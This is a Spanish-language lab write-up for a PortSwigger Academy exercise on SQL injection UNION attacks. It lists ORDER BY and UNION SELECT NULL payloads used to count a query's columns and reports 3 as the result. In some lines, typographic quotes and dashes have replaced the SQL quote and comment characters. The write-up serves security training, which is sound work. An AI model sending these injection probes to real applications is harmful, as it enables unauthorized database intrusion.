Lab 7 SQLi PortSwigger Academy

Introducción

LABORATORIO 7: SQL injection UNION attack, determining the number of columns returned by the query

Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de categoría de producto. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que puede usar un ataque UNION para recuperar datos de otras tablas. El primer paso de un ataque de este tipo es determinar el número de columnas que devuelve la consulta. Luego utilizará esta técnica en laboratorios posteriores para construir el ataque completo.

Para resolver el laboratorio, determine la cantidad de columnas devueltas por la consulta realizando un ataque UNION de inyección SQL que devuelve una fila adicional que contiene valores nulos.

Explicación

Enumerar el número de columnas que devuelve la consulta

Método 1

El primer método que utilizamos implica inyectar una serie de cláusulas ORDER BY y aumentar gradualmente el índice de la columna especificada hasta que ocurra un error.

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

Esta serie de cargas modifica la consulta original para ordenar los resultados por diferentes columnas en el conjunto de resultados. Dado que la columna en la cláusula “order by” puede especificarse por su índice, no necesitamos conocer los nombres de las columnas. Si el índice de columna especificado excede el número de columnas en la consulta original, la base de datos devuelve un error.

Método 2

El segundo método implica enviar una serie de cargas útiles de UNION SELECT especificando un número diferente de valores nulos:

' UNION SELECT NULL --
' UNION SELECT NULL,NULL --
' UNION SELECT NULL,NULL,NULL --

Si la cantidad de valores nulos no coincide con la cantidad de columnas, la base de datos devuelve un error.

Solución

Método 1

' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --

‘ ORDER BY 4 —

Nos devuelve un error cuando enviamos la petición 4, por lo que el número de columnas devueltas por la petición original es 3.

Método 2

' UNION SELECT NULL --
' UNION SELECT NULL, NULL --
' UNION SELECT NULL, NULL, NULL --

‘ UNION SELECT NULL, NULL, NULL, NULL —

El número de columnas devueltas por la petición es 3.

No responses yet

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *